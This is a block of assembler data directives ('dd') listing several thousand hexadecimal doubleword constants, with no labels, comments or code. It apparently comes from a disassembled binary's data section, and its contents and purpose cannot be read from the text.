dd 0B0604A00h, 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch
dd 45B0711Ch, 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh
dd 76CC6A4Fh, 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch
dd 4B000E73h, 0EA6F4363h, 581862h, 6C1C6847h, 77875166h
dd 31706B00h, 1D466365h, 74487140h, 1F077972h, 80615167h
dd 74945527h, 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh
dd 429E0078h, 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h
dd 87C421FBh, 0F860F834h, 681E009Fh, 486E38BFh, 95073052h
dd 1447CA1Ch, 3741150h, 61670046h, 60886376h, 8BA05677h
dd 6D000A62h, 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h
dd 0E0FE626Bh, 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h
dd 1830A560h, 48B07742h, 0B6006C63h, 74417289h, 613A71h
dd 1C0696Bh, 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h
dd 0B82A0175h, 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h
dd 84CB00A4h, 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh
dd 7B2B4CE4h, 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h
dd 14101E15h, 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h
dd 17403AF6h, 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h
dd 1D4775F7h, 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h
dd 1B147945h, 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h
dd 2D46DD69h, 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h
dd 14B8801Fh, 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh
dd 71830E54h, 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h
dd 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h
dd 71110E44h, 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh
dd 0D0FA00A4h, 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h
dd 100E5BE5h, 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h
dd 8BA71D76h, 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h
dd 884E0055h, 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h
dd 0AA830E12h, 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h
dd 0FC5D8E40h, 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h
dd 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h
dd 93FAB2AAh, 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh
dd 25378AAh, 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h
dd 0C40C21CCh, 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh
dd 0FF7D42B9h, 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch
dd 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h
dd 4ABF5CC3h, 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h
dd 0E885D959h, 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h
dd 365097h, 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch
dd 11758Dh, 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh
dd 8D5601B1h, 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh
dd 1B66A12h, 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh
dd 0F4BA3437h, 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h
dd 558BF1B8h, 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h
dd 32FEF4h, 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h
dd 14546C6h, 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h
dd 259C7DDh, 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh
dd 8C7CFFh, 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh
dd 15F4F48h, 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h
dd 11790114h, 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh
dd 40722EBh, 8053B84h, 12410C01h, 0E028C310h, 0F600D311h
dd 1CBA2F13h, 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh
dd 6C7E8086h, 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah
dd 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh
dd 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h
dd 0B45EBD03h, 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h
dd 9E30E4BCh, 0D31840h, 244C283h, 0DCA12550h, 805D203Eh
dd 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h
dd 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h
dd 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h
dd 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h
dd 837825E9h, 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h
dd 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h
dd 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h
dd 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh
dd 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch
dd 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h
dd 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h
dd 0D4DDC30Ch, 80072089h, 1DC0267Bh, 0B50098B7h, 437EE0h
dd 0F5AC921Bh, 0B0C1D73Bh, 450C532Ch, 0EFC25000h, 437FC6h
dd 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh, 8C4D005Dh
dd 0BF156726h, 13007387h
dd 3FE5F685h, 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h
dd 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh
dd 358498F2h, 28033372h, 9D863210h, 0E628039h, 7A2C1D11h
dd 8158CA2h, 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh
dd 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h
dd 717CF190h, 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh
dd 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h
dd 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h
dd 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h
dd 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h
dd 21B9F58h, 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h
dd 161F8AF4h, 8414258h, 1A91CB03h, 0AF46FCh, 0B454BF2Ah
dd 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh
dd 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h
dd 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h
dd 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h
dd 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh
dd 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h
dd 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h
dd 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h
dd 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h
dd 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah
dd 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h
dd 8AB08805h, 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h
dd 40FAE70Fh, 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h
dd 0FCCFD20h, 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h
dd 65E8F980h, 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h
dd 68A1C07h, 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h
dd 5C9FB9EFh, 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h
dd 0F880EE89h, 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h
dd 0E93C1703h, 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h
dd 0CC7EC0DFh, 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh
dd 0C6006A71h, 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h
dd 0C45420A7h, 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh
dd 2D008319h, 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h
dd 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch
dd 0DE26001Dh, 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h
dd 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h
dd 0F516031Bh, 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h
dd 0B2566F20h, 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h
dd 534FC04Eh, 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h
dd 68AF9608h, 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h
dd 4A170094h, 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh
dd 130ED1F5h, 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h
dd 0AE7F7Fh, 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh
dd 37320025h, 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h
dd 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h
dd 40001B32h, 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h
dd 0A9A44526h, 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h
dd 3B06E98Ch, 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h
dd 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h
dd 8130299Fh, 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h
dd 342D220Dh, 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h
dd 74AE9046h, 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h
dd 1C5815D1h, 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h
dd 814A3B08h, 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h
dd 845E575Bh, 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh
dd 9AFC6A00h, 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh
dd 2FA4035h, 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h
dd 6547E788h, 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h
dd 70690052h, 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h
dd 0C805003Ch, 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h
dd 3C3E9A67h, 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh
dd 7E9AD9Dh, 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h
dd 0BAA068FCh, 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh
dd 4F77042h, 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h
dd 0E651C8h, 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h
dd 0D34900C4h, 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h
dd 1CE00B04h, 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh
dd 0FE48475Ah, 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh
dd 42F397B2h, 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h
dd 7728C342h, 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh
dd 0AC804582h, 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah
dd 3BD2AF24h, 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah
dd 0DB2493B8h, 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h
dd 5CDF1198h, 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h
dd 1E50084h, 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h
dd 0EAA2E809h, 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h
dd 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh
dd 0A0F12F10h, 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h
dd 945E6A0Dh, 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h
dd 0A80E6802h, 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh
dd 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh
dd 55D404E1h, 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h
dd 107F001Fh, 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h
dd 0D5380088h, 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch
dd 0FE3500F6h, 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h
dd 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh
dd 3F750029h, 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h
dd 22021845h, 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h
dd 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah
dd 527333D6h, 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh
dd 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch
dd 3B4C980h, 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h
dd 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h
dd 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h
dd 0F7E2C8h, 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h
dd 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h
dd 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h
dd 817A4400h, 586A07E2h, 0F0C43FE4h, 781CC91Ch, 40CEDC60h
dd 1001DF6h, 10B77538h, 1C9EBA3h, 39F00A7Bh, 0ECC156CCh
dd 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h, 0D089AD00h
dd 807DCDEBh, 0A8201E00h
dd 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h
dd 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h
dd 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh
dd 32C30720h, 172C7440h, 1739997Ah, 74126601h, 0D9075913h
dd 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h
dd 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h
dd 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h
dd 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h
dd 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h
dd 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h
dd 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h
dd 318E800h, 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h
dd 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh
dd 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h
dd 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h
dd 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch
dd 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h
dd 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h
dd 171EB4Ch, 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h
dd 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h
dd 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh
dd 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h
dd 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h
dd 0C0010A6Ch, 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h
dd 8807EE66h, 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh
dd 0AC3C6942h, 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh
dd 0D7EE56AAh, 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh
dd 9F480DE0h, 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h
dd 0F99D00EDh, 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh
dd 0EA5657h, 3685944h, 30058B64h, 3C148500h, 421904F2h
dd 0C4080F02h, 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h
dd 0B27862C0h, 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h
dd 27C067C7h, 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh
dd 0F207E688h, 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h
dd 0FBEE12h, 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h
dd 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch
dd 768006A6h, 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h
dd 582F0064h, 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h
dd 1E40087h, 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h
dd 0EB4599h, 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h
dd 68EC552Dh, 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h
dd 0D840501Dh, 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h
dd 221FEC7Ah, 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch
dd 83F41D11h, 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h
dd 0EE7EBDD2h, 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h
dd 424B01D7h, 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h
dd 7FD70059h, 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h
dd 0F313E2E2h, 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h
dd 97801F10h, 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h
dd 904F6400h, 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h
dd 5CBF5300h, 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah
dd 121F71D1h, 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h
dd 0A177EA90h, 490894h, 143EA259h, 0A30C6674h, 314F300Eh
dd 1F35CFBDh, 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h
dd 0B5022AB0h, 50093195h, 32836068h, 0DB5D0303h, 0A559974h
dd 2EB20400h, 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h
dd 5C6761EDh, 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah
dd 6A04C80Eh, 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h
dd 9734CFAh, 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h
dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h
dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h
dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh
dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh
dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h
dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h
dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h
dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch
dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh
dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h
dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h
dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h
dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h
dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h
dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h
dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h
dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h
dd 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h
dd 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h
dd 4FAA5F2h, 0B73A2274h, 84341F1Ch, 0BB38D840h, 3E7C92AEh
dd 5C00F2FEh
dd 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh
dd 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h
dd 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h
dd 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h
dd 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h
dd 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h
dd 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh, 0B6AB362Ah
dd 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch
dd 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h
dd 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh
dd 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h
dd 1E759546h, 15A9Bh, 24871785h, 36FF1491h, 0C306F400h
dd 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h
dd 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh
dd 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h
dd 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h
dd 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h
dd 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h
dd 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h
dd 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh
dd 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h
dd 13505358h, 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h
dd 45244054h, 37120143h, 3570A985h, 7378F456h, 74160800h
dd 9CAE0D24h, 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h
dd 0C5521ACAh, 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h
dd 3C20614h, 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh
dd 15C500E7h, 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h
dd 744A6000h, 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h
dd 0B40A7200h, 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h
dd 0FB876B8Dh, 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h
dd 0EF4903E8h, 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h
dd 7807431Fh, 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h
dd 66037488h, 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch
dd 90135D1Dh, 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h
dd 28037575h, 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h
dd 0D344E7B1h, 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h
dd 4EE05DAFh, 3E7EB089h, 33705700h, 3593D588h, 97B50369h
dd 2C5F256Fh, 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh
dd 882FB580h, 4200D621h, 0D0396147h, 675B0Ah, 689FC274h
dd 282D35D2h, 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch
dd 1E3700F1h, 96303611h, 6800C020h, 80284D53h, 979EA5h
dd 184FEA8Fh, 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h
dd 0D025608Ah, 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h
dd 62F5AB7Dh, 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh
dd 89AA00A3h, 40191802h, 58001A10h, 32C78E66h, 0B92B16h
dd 68444260h, 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h
dd 89D02B09h, 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h
dd 54913CA3h, 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h
dd 8045A268h, 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch
dd 0CEB28B61h, 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh
